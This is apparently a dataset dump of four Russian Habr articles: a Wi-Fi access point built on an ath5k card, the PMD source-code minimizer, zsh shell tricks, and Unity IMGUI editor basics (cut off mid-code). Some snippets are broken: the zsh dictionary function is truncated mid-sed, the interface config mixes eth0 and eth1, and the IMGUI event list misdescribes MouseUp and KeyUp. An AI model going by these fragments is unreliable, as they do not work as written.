text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Точка доступа на основе wi-fi карточки D-link DWA-520 (ath5k)
Хотите получить wi-fi точку доступа из барахла которое завалялось в гараже? Тогда вам под кат т.к., сегодня мы будем собирать программную точку доступа (AP) на основе wi-fi карточки D-link DWA-520 на чипсете Atheros AR5001X+ (ath5k) и Ubuntu Server 9.04.
Сперва удостоверяемся в том, что карточка определяется:
>
> ```
> lspci -v
> ```
>
Вывод должен быть примерно таковым:
>
> ```
>
> ...
>
> 01:0b.0 Ethernet controller: Atheros Communications Inc. Atheros AR5001X+ Wireless Network Adapter (rev 01)
> Subsystem: D-Link System Inc Device 3a73
> Flags: bus master, medium devsel, latency 168, IRQ 10
> Memory at fc9f0000 (32-bit, non-prefetchable) [size=64K]
> Capabilities:
> Kernel driver in use: ath5k
> Kernel modules: ath5k
>
> ...
>
> ```
>
Как видно, для нашей карты используется драйвер ath5k.
Для нормальной работы необходимо обновить ядро до более нового (в стандартной поставке ядро 2.6.28). Штатными средствами это сделать не удаётся — поэтому будем качать и ставить пакеты с новым ядром. Ядра лежат вот тут: <http://kernel.ubuntu.com/~kernel-ppa/mainline/>.
Качаем пакеты с ядром:
>
> ```
> wget -c http://kernel.ubuntu.com/%7Ekernel-ppa/mainline/v2.6.30.5/linux-headers-2.6.30-02063005-generic_2.6.30-02063005_i386.deb
> wget -c http://kernel.ubuntu.com/%7Ekernel-ppa/mainline/v2.6.30.5/linux-headers-2.6.30-02063005_2.6.30-02063005_all.deb
> wget -c http://kernel.ubuntu.com/%7Ekernel-ppa/mainline/v2.6.30.5/linux-image-2.6.30-02063005-generic_2.6.30-02063005_i386.deb
> wget -c http://kernel.ubuntu.com/%7Ekernel-ppa/mainline/v2.6.30.5/linux-source-2.6.30_2.6.30-02063005_all.deb
>
> ```
>
Последнее качать не обязательно, это исходники ядра.
Устанавливаем:
>
> ```
> sudo dpkg -i *.deb
> ```
>
Перезагружаемся.
Теперь нам необходимы свежие версии драйверов на wi-fi. Для этого идём на сайт <http://linuxwireless.org>. Как гласит вот эта страничка: <http://linuxwireless.org/en/users/Drivers> — ath5k драйвер не поддерживает работу в режиме AP в стандартной комплектации. Но это поправимо накладыванием патча на исходники ath5k.Для этого сначала скачаем исходные коды драйверов отсюда <http://linuxwireless.org/en/users/Download>. Нас интересует сборка под 2.6.30 ядро поэтому:
>
> ```
> wget http://www.orbit-lab.org/kernel/compat-wireless-2.6-stable/v2.6.30/compat-wireless-2.6.30.tar.bz2
> ```
>
Далее распаковываем всё это хозяйство:
>
> ```
> tar jxvf compat-wireless-2.6.30.tar.bz2
>
> ```
>
Теперь редактируем исходники (не нужно пугаться — тут всё очень просто). В файлике `compat-wireless-2.6.30/drivers/net/wireless/ath5/base.c` ищем вот такое место:
>
> ```
> hw->wiphy->interface_modes =
> BIT(NL80211_IFTYPE_STATION) |
> BIT(NL80211_IFTYPE_ADHOC) |
> BIT(NL80211_IFTYPE_MESH_POINT);
> ```
>
И приводим его вот к такому виду, добавив стоку "`BIT(NL80211_IFTYPE_AP) |`":
>
> ```
> hw->wiphy->interface_modes =
> BIT(NL80211_IFTYPE_STATION) |
> BIT(NL80211_IFTYPE_ADHOC) |
> BIT(NL80211_IFTYPE_AP) |
> BIT(NL80211_IFTYPE_MESH_POINT);
> ```
>
Далее собираем и устанавливаем:
>
> ```
>
> make
> sudo make install
> sudo make unload
> ```
>
Для точности эксперимента ребутаемся, хотя это и не критично вроде =).
Далее нам необходимо установить hostapd. Я рекомендую ставить самую последнюю версию:
>
> ```
> wget -c http://mirror.yandex.ru/ubuntu/pool/universe/h/hostapd/hostapd_0.6.9-3_i386.deb
> ```
>
Теперь приступим к его настройке. Копируем старый конфиг:
>
> ```
> sudo mv /etc/hostapd/hostapd.conf /etc/hostapd/original-hostapd.conf
> ```
>
И пишем в новый:
>
> ```
> sudoedit /etc/hostapd/hostapd.conf
>
> ```
>
вот это:
>
> ```
>
> interface=wlan0
> driver=nl80211
>
> #Ваше названи точки доступа
> ssid=MySuperAP
> country_code=RU
> hw_mode=g
> channel=1
>
> macaddr_acl=0
>
> wpa=3
> wpa_key_mgmt=WPA-PSK
> #Ваш пароль
> wpa_passphrase=MySuperPass123
> wpa_pairwise=TKIP CCMP
> ```
>
Далее:
>
> ```
>
> sudoedit /etc/default/hostapd
>
> RUN_DAEMON="yes"
> DAEMON_CONF="/etc/hostapd/hostapd.conf"
> ```
>
Теперь приступаем к общим настройкам сети.
Разрешаем форвардинг трафика:
>
> ```
> sudoedit /etc/sysctl.conf
> ```
>
и расскоментируем строку:
>
> ```
> net.ipv4.ip_forward=1
>
> ```
>
Редактируем интерфейсы:
>
> ```
>
> sudoedit /etc/network/interfaces
>
> #Обратная петля
> auto lo
> iface lo inet loopback
>
> #Интерфейс на который приходит интернет к примеру от модема
> auto eth0
> iface eth1 inet static
> address 192.168.1.2
> netmask 255.255.255.0
> gateway 192.168.1.1
>
> #Наш wi-fi интерфейс
> auto wlan0
> iface wlan0 inet static
> address 192.168.0.1
> netmask 255.255.255.0
> gateway 192.168.0.1
> pre-up iptables-restore /etc/iptables.rules
> ```
>
Создаём файлик правил iptables:
>
> ```
> sudoedit /etc/iptables.rules
> ```
>
пишем в него правило для маскарадинга:
>
> ```
>
> # Generated by iptables-save
> *nat
> :PREROUTING ACCEPT [4430:389020]
> :POSTROUTING ACCEPT [24:2723]
> :OUTPUT ACCEPT [28:3602]
> -A POSTROUTING -s 192.168.0.0/24 -j MASQUERADE
> COMMIT
> ```
>
Ставим и настраиваем dhcp сервер:
>
> ```
>
> sudo aptitude install dhcp3-server
> sudoedit /etc/dhcp3/dhcpd.conf
> ```
>
Примерно так должен выглядеть конфиг:
>
> ```
>
> ddns-update-style none;
> option domain-name "MySuperNet";
> option domain-name-servers IPS_OF_DNS_SERVERS;
> default-lease-time 42300;
> max-lease-time 84600;
> log-facility local7;
> subnet 192.168.0.0 netmask 255.255.255.0 {
> range 192.168.0.100 192.168.0.200;
> option routers 192.168.0.1;
> }
> ```
>
Далее в файле:
>
> ```
> sudoedit /etc/default/dhcp3-server
>
> ```
>
Указываем наш интерфейс для раздачи ~~слонов~~ айпишников:
>
> ```
> INTERFACES="wlan0"
> ```
>
Теперь с чистой совестью и распирающей гордостью можем перезагружать наш роутер и наслаждаться wi-fi интернетом и сэкономленными деньгами на покупке железного роутера.
З.Ы. Для отлова неполадок hostapd логи смотрим вот тут:
>
> ```
> tail -f /var/log/daemon.log
> ```
>
### Полезные ссылки
1. Всё о драйвере ath5k: <http://madwifi-project.org/wiki/About/ath5k>;
2. Подробнее про hostapd читаем тут: <http://hostap.epitest.fi/hostapd/> либо оригинальный конфиг;
3. Сайт посвящённый wi-fi драйверам: <http://linuxwireless.org>;
4. Два howto, которые помогли в написании этого творения: <http://forum.ubuntu.ru/index.php?topic=61834> и <http://forum.ubuntu.ru/index.php?topic=62844>.
\_\_\_\_\_\_\_\_\_ | https://habr.com/ru/post/67717/ | null | ru | null |
# А суть-то в чём, или Минимизация исходников — проще, чем кажется
В эти чудесные январские дни всех нас, конечно, волнует вопрос минимизации исходного кода с сохранением инварианта. В смысле, не волнует?!? Зря… Вот упал у вас компилятор, а программа гигантская — как-то неудобно такое разработчикам слать. И тут начинается веселье: а если вот это выкинуть? О, не падает — ладно, оставляем, а если это? — всё ещё падает, и это, и это, и то… Ой, я компилятор на старых исходниках запускал.
В то же время, автоматизация поиска багов — дело-то житейское: git bisect, llvm-bugpoint, creduce,… В статье я опишу yet another способ решения проблемы упрощения тестового случая, более-менее универсальный по отношению к языку программирования, и покажу некоторые примеры использования.
Универсальное, говорите… Может, оно конечно, уже десять раз реализовано, но разве это остановит матёрого велосипедиста. *Да и когда в руках микроскоп, все проблемы кажутся гвоздями.* В роли микроскопа — [PMD](https://pmd.github.io/).
В общем, есть такой язык для написания моделей, описываемых дифференциальными уравнениями — Modelica. Он довольно продвинутый, имеется весьма крутая открытая реализация и вообще. Но есть маленькая проблема: иногда в компиляторе возникает Internal compiler error. В [прошлой статье](https://habr.com/ru/post/474920/) я уже показывал, как добавить поддержку Моделики в статический анализатор PMD (кстати, в процессе review всплыли некоторые мои ошибки) в дополнение к десятку уже имеющихся языковых модулей. Вот и сейчас я решил — чего добру пропадать — и прислал proof-of-concept инструмента Source Code Minimizer, переиспользующего имеющиеся языковые модули PMD. К сожалению, меня послали — правда, не далеко, в соседний репозиторий: ментейнер сказал, что поддерживать это до скончания века он пока не решается, да и затеряется оно в общей кодовой базе, поэтому вскоре я обнаружил у себя в почтовом ящике приглашение в collaborator'ы свежесозданного [pmd/pmd-scm](https://github.com/pmd/pmd-scm).
Во-первых, какова постановка задачи? Требуется уменьшить размер исходного кода, сохраняя некоторое его свойство. Конкретнее, хочется, чтобы
* получившийся код был обозримого размера
+ он не обязан быть **минимально возможным**, «доработка напильником» допустима, но она не должна превращаться в мучение
+ задача автоматической обфускации не рассматривается
* минимизируемая программа может быть разделена на несколько файлов с исходным кодом
+ например, в Java каждый `public` класс должен быть в отдельном файле с правильным именем и т.д.
+ хочется, чтобы в итоге каждый файл остался обозримого размера
* в процессе преобразований должен сохраняться указанный инвариант
Внутреннее устройство
---------------------
В этом разделе я примерно опишу реализацию. Для начала ещё раз замечу, что идея эта, мягко говоря, не нова. И если git bisect я привёл просто в качестве примера «механизма автоматической отладки», то вот на [creduce](https://github.com/csmith-project/creduce) или что-то похожее я натыкался уже довольно давно (правда, не пользовался). А вот [llvm-bugpoint](https://llvm.org/docs/Bugpoint.html) использовать приходилось — впечатляет: сидишь, отлаживаешь свой LLVM Pass, а он — зараза такая — падает на некоторых сишных файлах. Так вот, можно этот сишный файл скомпилировать в LLVM bitcode, запустить `opt` на .bc-файле со своим плагином и убедиться, что он падает. А потом, грубо говоря, я просто заменил `opt` на `llvm-bugpoint`, и через минуту получил здоровенный «скелет» одной из функций, состоящий из тучи базовых блоков и переходов между ними; всё, кроме ветвлений, было успешно выкинуто. Кстати, как и в моей постановке задачи, после десятка минут ручного упрощения всё свелось к тому, что я некорректно обрабатывал один из видов ветвлений, а всё остальное — просто декорации. В общем, идея не нова.
А теперь о реализации. Поскольку предполагалось более-менее универсальное средство, хотелось сделать некий фреймворк, в который бы можно было бы запихнуть реализации, оптимизированные под разные языки. В итоге выделилось две достаточно ортогональных концепции:
* поддерживаемый инвариант
* стратегия минимизации
Инвариант
---------
Один из вариантов свойства, которое может хотеться сохранить, я уже описал: «компилятор напечатал в консоль некую фразу» («Internal compiler error», например). Также идеи можно почерпнуть из разнообразных фаззеров: [AFL](https://github.com/google/AFL), [Killerbeez](https://github.com/grimm-co/killerbeez) и прочих:
* процесс завершился с некоторым кодом возврата (в частности, «падение по сигналу» на Linux)
* процесс выполнялся более T миллисекунд. Тут, увы, может возникнуть нестабильность в связи с плавающей загруженностью системы. Для большей точности можно использовать CPU time, хотя, в идеале пригодятся performance counters
* компилятор может (не)сгенерировать некий выходной файл
* ...
Часть из них я уже реализовал (код возврата, напечатанная строка), часть — нет, какие-то, возможно, будут специфичны для отдельных языков. В общем, это достаточно автономный кусок задачи, часто вообще не зависящий от конкретного языка.
Стратегия минимизации
---------------------
На первый взгляд, здесь всё сугубо языкозависимое. Где-то нужно выкидывать переменные вместе со случаями использования, где-то — поддерживать одинаковое количество уравнений и неизвестных. Тем важнее абстрагировать эту часть кода. Но что-то базовое можно сделать общим для всех: например, лёгким движением руки движок XPath-правил превращается… превращается… — ой, для версии XPath 1.0 не превращается. Извините, маленькая техническая неувязочка — в универсальное средство обрезки синтаксических деревьев ~~на зиму~~. Вообще, API стратегии минимизации довольно простое: по большому счёту, у стратегии вызывается функция шага (ей передаётся список корневых узлов синтаксических деревьев), которая может через интерфейс операций попросить «а попробуй вот эти ветви выкинуть». Если инвариант нарушился, функция возвращает управление, если нет — раскручивает стек выкидыванием специального исключения, а полученный вариант принимается в качестве следующего приближения. Процесс считается завершённым, если функция шага вернула управление не через исключение. Вы, возможно, скажете, что это жутко не эффективно — может быть и так, ~~ЗАТО УДОБНО!!111~~, но о чём вообще речь, если предполагается штатно в цикле сотни раз запускать внешний процесс компилятора.
Тут возникает вопрос: как из прореженного AST обратно получить исходник? Конечно, можно для каждого языка попробовать написать специальный код, генерирующий текстовый файл. Но, как известно, программист должен быть ленивым. Так что не пойдёт — это будет уже явно не из серии «подхватили существующие реализации и вперёд». К счастью, в узлах дерева имеется информация о начальных и конечных строке и столбце для этого узла — значит, если языковой модуль корректно указывает эту информацию, можно взять исходный текст и аккуратно вырезать из него куски (отсюда, кстати, и некоторая сложность с обфускацией: для этого недостаточно что-то выкидывать, а нужно заменять: идентификаторы, например). Кстати, в кодовой базе PMD даже обнаружился класс для редактирования файла посредством не пересекающихся операций вырезания текста (а также добавления, но конкретно для этой задачи это не так интересно).
Теория: итог
------------
На данный момент у меня реализовано две стратегии. Одна из них — это обрезка по XPath, являющаяся в каком-то смысле вырожденным случаем, поскольку принудительно записывает результат, даже если он уже не является синтаксически корректным исходником. Вторая уже «честная» итерационная и интерактивная (в том смысле, что она реально взаимодействует с компилятором и проверяет инвариант): она просто пробует выкидывать веточки по порядку по одной в цикле. Вот о ней — чуть подробнее:
* в принципе, проверять инвариант для исходника, который не парсится, для «честной» стратегии смысла мало: даже, если компилятор это и прожуёт, минимизатор должен будет перезагрузить исходник. Поэтому имеет смысл заранее откидывать «битые» файлы: распарсить в своём процессе всяко быстрее, чем запускать целый компилятор
* в общем случае, здесь, наверное, было бы удобно использовать корутины (ну или малость вывернуть наизнанку поток управления), но, поскольку это далеко не самая вычислительно сложная часть работы, на каждом заходе в функцию шага я просто обхожу дерево в глубину, подсчитывая пройденные вершины. Запоминаю же я только счётчик. Так вот, поначалу я подумал, что вершиной больше, вершиной меньше — какая разница, всё равно же эвристика! Оказалось, что ошибка на единицу может менять скорость «сходимости» в разы. В сущности, это логично: выкидывать из класса целые функции по порядку часто будет эффективной стратегией. А вот чуточку перескочить, и каждый раз **заходить внутрь** функции, в большинстве случаев не имеющей никакого отношения к проблеме, выглядит так себе идеей.
* кстати о корутинах и разворачивании потока управления: с этим были бы некоторые проблемы, поскольку после перезагрузки изменённого текста AST может видоизмениться не совсем очевидным образом (то есть, не только будут откинуты указанные ветви, а где-то пропадут ставшие пустыми узлы, где-то вообще разбор пойдёт по другому пути). Не говоря уже о том, что узлы нового AST не будут идентичны по ссылке старым, а логичное сопоставление по `equals` — тоже выглядит непростой задачей
* в принципе, можно в разной степени использовать возможности PMD: можно использовать вычисленные типы, зависимости «определение-использование» и т.д. и делать что-то очень умное (но нужно продумать универсальное API). С другой стороны, для описанной стратегии достаточно возможности получить дерево разбора. И тут можно было бы даже прицепить какой-нибудь [Kaitai Struct](https://github.com/kaitai-io/kaitai_struct) и попытаться потеснить [afl-tmin](https://github.com/google/AFL) для минимизации бинарных файлов :)
Практика
--------
Для начала, соберём минимизатор:
```
git clone https://github.com/pmd/pmd-scm.git
cd pmd-scm
./mvnw clean verify
unzip pmd-scm-dist/target/pmd-scm-bin-1.0.0-SNAPSHOT.zip
```
Теперь нужен какой-нибудь исходник. Давайте, например, возьмём [GreedyStrategy.java](https://github.com/pmd/pmd-scm/blob/8a8af5420418bba3fc1f4677cbbc7f27b629e162/pmd-scm/src/main/java/net/sourceforge/pmd/scm/strategies/GreedyStrategy.java).
При помощи [Rule Designer](https://github.com/pmd/pmd-designer) выясним, как выглядит типичное AST для Java, и запустим
```
$ ./bin/run.sh scm --language java \
--input-file ../pmd-scm/src/main/java/net/sourceforge/pmd/scm/strategies/GreedyStrategy.java \
--output-file GreedyStrategy-min.java \
--strategy xpath \
--xpath-expression '//BlockStatement[count(../BlockStatement) > 1]'
Original file(s): 6155 bytes, 1099 nodes.
After initial white-space cleanup: size 4548 bytes (73%), 1099 nodes (100%)
After pass #1: size 1984 bytes (32%), 1099 nodes (100%)
After final white-space cleanup: size 1984 bytes (32%), 325 nodes (29%)
After blank line clean up: size 1767 bytes (28%), 325 nodes (29%)
```
```
package net.sourceforge.pmd.scm.strategies;
import java.util.Collections;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import net.sourceforge.pmd.lang.ast.Node;
public class GreedyStrategy extends AbstractMinimizationStrategy {
public static class Configuration extends AbstractConfiguration {
@Override
public MinimizationStrategy createStrategy() {
return new GreedyStrategy(this);
}
}
public static final MinimizationStrategyConfigurationFactory FACTORY = new AbstractFactory("greedy") {
@Override
public MinimizationStrategyConfiguration createConfiguration() {
return new Configuration();
}
};
private GreedyStrategy(Configuration configuration) {
super(configuration);
}
private final Map> directlyDependingNodes = new HashMap<>();
private final Map> transitivelyDependingNodes = new HashMap<>();
private void fetchDirectDependentsFromSubtree(Node node) {
// process depending nodes
}
private Set indirectlyDependentNodesFor(Node currentNode) {
}
private void collectNodesToRemove(Set result, Node node) {
}
private int previousPosition = 0;
private int positionCountdown;
private void findNodeToRemove(Node currentNode) throws Exception {
}
private void processSingleRoot(Node currentRoot) throws Exception {
// cannot remove root
for (int i = 0; i < currentRoot.jjtGetNumChildren(); ++i) {
findNodeToRemove(currentRoot.jjtGetChild(i));
}
}
@Override
public void performSinglePass(List roots) throws Exception {
}
}
```
То есть, мы опустошили все функции, *непосредственно содержащие больше одного statement*. Впрочем удаление комментариев, пустых строк и т.д. у меня не специфицировано — всё-таки это (пока?) в первую очередь инструмент для **отладки компиляторов**, а не создания красивых описаний интерфейсов.
Давайте теперь рассмотрим что-нибудь поинтереснее: попробуем минимизировать одновременно два файла с обратной связью от компилятора:
**orig/TestResource.java:**
```
class TestResource {
int func() {
System.err.println("Hello World!");
return 123;
}
void unused() {
// unused
}
}
```
**orig/Main.java:**
```
class Main {
public static void main(String[] args) {
String str = new TestResource().func();
return 123;
}
}
```
Как вы видите, они не компилируются:
```
$ javac orig/TestResource.java orig/Main.java
orig/Main.java:3: error: incompatible types: int cannot be converted to String
String str = new TestResource().func();
^
orig/Main.java:5: error: incompatible types: unexpected return value
return 123;
^
2 errors
```
Давайте представим, что с первой ошибкой что-то не то, и попробуем сделать минимальный пример, выдающий
```
error: incompatible types: int cannot be converted to String
```
Для этого запустим
```
$ bin/run.sh scm --language java \
--input-file orig/TestResource.java orig/Main.java \
--output-file TestResource.java Main.java \
--invariant message \
--printed-message "error: incompatible types: int cannot be converted to String"\
--command-line "javac TestResource.java Main.java" \
--strategy greedy
Original file(s): 290 bytes, 77 nodes.
After initial white-space cleanup: size 258 bytes (88%), 77 nodes (100%)
After pass #1: size 255 bytes (87%), 64 nodes (83%)
After pass #2: size 244 bytes (84%), 57 nodes (74%)
After pass #3: size 205 bytes (70%), 51 nodes (66%)
After pass #4: size 192 bytes (66%), 46 nodes (59%)
After pass #5: size 181 bytes (62%), 39 nodes (50%)
After pass #6: size 179 bytes (61%), 39 nodes (50%)
After final white-space cleanup: size 149 bytes (51%), 39 nodes (50%)
After blank line clean up: size 147 bytes (50%), 39 nodes (50%)
```
В итоге получаем
**TestResource.java:**
```
class TestResource {
int func() {
}
}
```
**Main.java:**
```
class Main {
public static void main() {
String str = new TestResource().func();
}
}
```
```
$ javac TestResource.java Main.java
TestResource.java:3: error: missing return statement
}
^
Main.java:3: error: incompatible types: int cannot be converted to String
String str = new TestResource().func();
^
2 errors
```
Всё, как заказывали!
Итог
----
Пока что проект находится на достаточно ранней стадии, но уже есть, что продемонстрировать. В дальнейшем есть идеи сделать API для language agnostic указания зависимостей между узлами AST, сделать возможность предоставлять стратегии, специфичные для языка. Ещё было бы неплохо сделать универсальную стратегию, выполняющую скрипт на Groovy/Kotlin/ещё чём-нибудь — всё-таки пользоваться этим будут люди, которые и Java-то, может, никогда не видели, зато в совершенстве знают, например, Моделику, и имеют в голове свои продвинутые способы ужимания исходников. | https://habr.com/ru/post/482634/ | null | ru | null |
# Заметки гика. zsh shell
##### Дубль первый.
В какой то момент возникла острая необходимость заиметь англо-русский словарь в консоли,
в ходе 2 минутного поиска по пакетам счастья не было обнаружено.
Ну что же, придется делать свой словарь, вспомнив что в chromium стоит плагин для словаря было принято решение распотрошить его содержимое, и прикрутить словарь от google к консоли.
Ну а далее код для zsh.
В комментах ресурсы которые были просмотрены в ходе поиска решения.
```
gdictionary () (
# http://code.google.com/p/dict-lookup-chrome-ext/source/browse/trunk/extension/lookup.js
# http://www.google.com/dictionary?langpair=en|ru&q=chemist&hl=ru&aq=f
# http://www.zsh.org/mla/users/2006/msg00063.html
#
GET "http://www.google.com/dictionary?langpair=en|ru&q=$1&hl=ru&aq=f" | grep dct-tt | sed /'class=\"dct-e/d' | sed '///g' |sed 's/<\/span>//' | sed '/
```
Регулярки подбирались быстро и необдуманно, после решения исходной задачи редактированию не подлежали.
Ну и в итоге:
**limbo ~ $ gdictionary hello**
приветственный возглас
приветствие
возглас удивления
##### Дубль второй.
Понадобилось записать голос, быстрый поиск вывел на arecord.
Для того чтоб в дальнейшем не возвращаться к этому вопросу, решил сделать запись голоса по хоткею.
В итоге родился следующий монстр:
```
run_microphone () {
ps au | grep -v grep | grep -q arecord && killall arecord || arecord -F 5 -D hw:1,0 -t wav -f dat -c 1 | lame - > ~/microphone/`date +%F-%R`.mp3 &
}
zle -N run_microphone run_microphone
bindkey "^[[24~" run_microphone
```
В результате при первом нажатии F12 компьютер пишет звук с микрофона в ~/microphone/
При последующем нажатии F12, запись прекращается.
hw:1,0 для arecord находится следующим шаманством:
**limbo ~ $ cat /proc/asound/pcm**
00-00: ALC662 rev1 Analog: ALC662 rev1 Analog:
00-01: ALC662 rev1 Digital: ALC662 rev1 Digital
00-03: NVIDIA HDMI: NVIDIA HDMI: playback 1
0**1-0**0: USB Audio: USB Audio: **capture** 1 < — смотреть сюды.
##### Дубль третий
Давно пользуюсь yakuake. Для тех кто не в курсе, выезжающая консоль, типа как в quake.
Ну и как то перестала она мне нравится, почему сам не знаю.
В итоге была сделана замена из обычной konsole.
```
konsole-on () (
qdbus `qdbus | grep konsole` /konsole/MainWindow_1 setVisible 1
qdbus `qdbus | grep konsole` /konsole/MainWindow_1 showFullScreen
qdbus `qdbus | grep konsole` /konsole/MainWindow_1 setFocus
)
konsole-off () (
qdbus `qdbus | grep konsole` /konsole/MainWindow_1 setVisible 0
)
konsole-full () (
ps -C konsole --no-heading || /usr/bin/konsole
qdbus `qdbus | grep konsole` /konsole/MainWindow_1 Get com.trolltech.Qt.QWidget visible \
| grep -q true && konsole-off || konsole-on
)
```
Ну а далее konsole-full забинденна на кнопку.
При первом нажатии консоль отображается, при втором скрывается.
##### Часть последняя, финальная
В финале KDE ушел в забвение, и на его месте воцарился dwm.
Как оказалось жутко удобная штука.
Но рассказ как можно жить с DE размером в 20 килобайт будет в продолжении сериала.
За сим откланиваюсь. | https://habr.com/ru/post/117003/ | null | ru | null |
# Персонализация IMGUI и редактора Unity. Часть первая
С момента выхода новой системы Unity UI прошло больше года, поэтому Ричард Файн решил написать о ее предшественнице – IMGUI.
На первый взгляд, это совсем нелогично. Зачем писать об устаревшей системе UI, если уже давно вышла новая? Что ж, новая система действительно предлагает широкие возможности настройки игровых интерфейсов, но если вы хотите добавить в редактор новые инструменты и функции, вам наверняка пригодится IMGUI.
**Приступая к работе**
Итак, первый вопрос: что значит [IMGUI](http://docs.unity3d.com/Manual/GUIScriptingGuide.html)? IMGUI расшифровывается как Immediate Mode GUI. Об этом стоит рассказать поподробнее. Существует 2 основных подхода к системам GUI: прямой (Immediate Mode GUI) и сохраненный (Retained Mode GUI).
При использовании сохраненного режима система запоминает информацию об интерфейсе. Разработчик добавляет различные элементы: метки, кнопки, слайдеры, текстовые поля, после этого данные сохраняются и используются для определения внешнего вида экрана, обработки событий и т. п. Когда вы изменяете текст на метке или перемещаете кнопку, вы фактически изменяете сохраненные в системе данные и создаете новое состояние системы. Когда вы взаимодействуете с интерфейсом, система запоминает ваши действия, но больше ничего не делает без дополнительного запроса. Unity UI работает именно в этом режиме. Вы создаете компоненты вроде UI.Labels или UI.Buttons, настраиваете их, а система берет на себя всё остальное.
При использовании прямого режима система не запоминает информацию об интерфейсе, а вместо этого постоянно запрашивает и уточняет информацию о его элементах. Каждый из них должен быть задан с помощью вызова функции. Реакция на любое действие пользователя возвращается немедленно, без дополнительного запроса. Такая система неэффективна для пользовательского интерфейса игры и неудобна для художников из-за зависимости от кода. В то же время она хорошо подходит для редактора Unity, чей интерфейс и без того зависит от кода и не изменяется в реальном времени в отличие от игры. Прямой режим также позволяет изменять отображаемые инструменты в соответствии с новым состоянием системы.
В качестве отступления вы можете посмотреть [отличный ролик](http://mollyrocket.com/861) Кейси Муратори, в котором он рассматривает основные принципы и преимущества прямого режима.
**Обработка событий**
У активного интерфейса IMGUI всегда существует обрабатываемое событие, например «нажатие кнопки мыши пользователем» или «необходимость перерисовки интерфейса». Вид текущего события можно узнать из значения Event.current.type.
Представим, что в окно интерфейса нужно добавить набор кнопок. В таком случае для обработки каждого события необходимо написать отдельный код. Схематически это можно изобразить так:
Написание отдельных функций для каждого события занимает много времени, но по своей структуре они очень похожи. На каждом этапе мы будем выполнять действия с одними и теми же элементами (кнопка 1, 2 или 3). Конкретное действие зависит от события, но структура остается неизменной. Это значит, что вместо первого алгоритма можно сделать единую функцию:
Единая функция OnGUI вызывает функции библиотеки (например [GUI.Button](http://docs.unity3d.com/ScriptReference/GUI.Button.html)), которые выполняют различные действия в зависимости от вида обрабатываемого события. Ничего сложного!
Чаще всего используются события следующих пяти видов:
EventType.MouseDown — Пользователь нажал кнопку мыши.
EventType.MouseUp — Пользователь нажал кнопку мыши.
EventType.KeyDown — Пользователь нажал клавишу.
EventType.KeyUp — Пользователь нажал клавишу.
EventType.Repaint — Необходимо перерисовать интерфейс
Ознакомиться с полным списком видов событий можно [в документации EventType.](http://docs.unity3d.com/ScriptReference/EventType.html)
Каким образом стандартный элемент управления GUI.Button реагирует на события?
EventType.Repaint — Перерисовка кнопки в указанном прямоугольнике
EventType.MouseDown — Если координаты курсора совпадают с областью кнопки, установить флажок «кнопка нажата» и запустить перерисовку кнопки в нажатом виде.
EventType.MouseUp — Снять флажок «кнопка нажата» и запустить перерисовку кнопки в отпущенном виде. Если курсор находится в области кнопки, вернуть TRUE (кнопка была нажата и отпущена).
На практике всё не так просто. Например, кнопки должны реагировать на события, запускаемые нажатием клавиш. Кроме того, нужно добавить код, останавливающий ответ на MouseUp от любых кнопок, кроме той, на которую был наведен курсор в момент нажатия. В любом случае, если вызов GUI.Button происходит в одном и том же месте кода и сохраняет одинаковые координаты и содержание, фрагменты кода будут сообща определять поведение кнопки.
Для объединенной модели поведения интерфейса при различных событиях в IMGUI используется идентификатор управляющего элемента – сontrol ID. С помощью этого идентификатора можно выполнять единообразные обращения к элементам интерфейса при любом событии. Control ID присваивается каждому элементу интерфейса с нетривиальным интерактивным поведением. Присвоение выполняется в зависимости от порядка запросов, поэтому, если функции интерфейса будут вызваны в одинаковом порядке из разных событий, им будут присвоены одинаковые идентификаторы, а события будут синхронизированы.
**Создание элементов интерфейса**
Классы [GUI](http://docs.unity3d.com/ScriptReference/GUI.html) и [EditorGUI](http://docs.unity3d.com/ScriptReference/EditorGUI.html) предоставляют библиотеку стандартных элементов интерфейса Unity. Их можно использовать для создания собственных классов Editor, EditorWindow или PropertyDrawer.
Начинающие разработчики часто пренебрегают классом GUI, предпочитая использовать EditorGUI. На самом деле элементы обоих классов одинаково полезны и могут совместно использоваться для расширения функционала редактора. Главное различие в том, что элементы EditorGUI нельзя использовать в игровых интерфейсах, так как они являются частью редактора, в то время как элементы GUI входят в состав самого движка.
Но как быть, если вам недостаточно ресурсов стандартных библиотек?
[Давайте посмотрим](http://blogs.unity3d.com/2015/12/22/going-deep-with-imgui-and-editor-customization/), как выглядит уникальный элемент пользовательского интерфейса на примере этого демо-приложения (для просмотра требуется браузер с поддержкой WebGL, например последняя версия Firefox).
Цветные полосы прокрутки в демо связаны с плавающими переменными, имеющими значение от 0 до 1. Их можно использовать в Unity Inspector для отображения состояния отдельных частей игрового объекта, например космического корабля (предположим, значение 1 – «повреждения отсутствуют», а значение 0 – «критические повреждения»). Цвет полос изменяется в зависимости от значения, чтобы пользователь мог быстро разобраться в ситуации. Подобные элементы интерфейса легко создаются с помощью IMGUI.
Для начала необходимо решить, как будет выглядеть сигнатура функции. Нашему элементу понадобятся 3 составляющие, чтобы полностью охватить различные типы событий:
• Rect, определяющий координаты отрисовки элемента и считывания нажатий мыши;
• float, плавающая переменная, которую представляет цветная полоса;
• GUIStyle, содержащий необходимую информацию об отступах, шрифтах, текстурах и т. п. В нашем случае это будет текстура, используемая при отрисовке полосы. Далее мы рассмотрим этот параметр более детально.
Функция должна будет возвращать новое значение плавающего числа, установленное после перемещения ползунка. Это имеет смысл для событий, связанных с мышью, но не для событий перерисовки элемента, поэтому по умолчанию функция будет возвращать значение, переданное при вызове. В таком случае вызовы вида “value = MyCustomSlider(… value …)” не зависят от события, а значение переменной остается без изменений.
В итоге сигнатура функции принимает такой вид:
`public static float MyCustomSlider(Rect controlRect, float value, GUIStyle style)`
Приступим к реализации функции. Прежде всего нам нужно получить control ID, который будет использоваться при реакции на события, связанные с мышью. При этом, даже если текущее событие нас не интересует, для него все равно нужно запросить идентификатор, чтобы он не был присвоен другому элементу в контексте этого события, так как IMGUI присваивает идентификаторы в порядке получения запросов. Во избежание проблем с использованием разных идентификаторов для одного и того же элемента в контексте разных событий необходимо запрашивать их для всех типов событий (или не запрашивать ни для одного, если элемент не интерактивен, но это не наш случай).
```
{
int controlID = GUIUtility.GetControlID (FocusType.Passive);
```
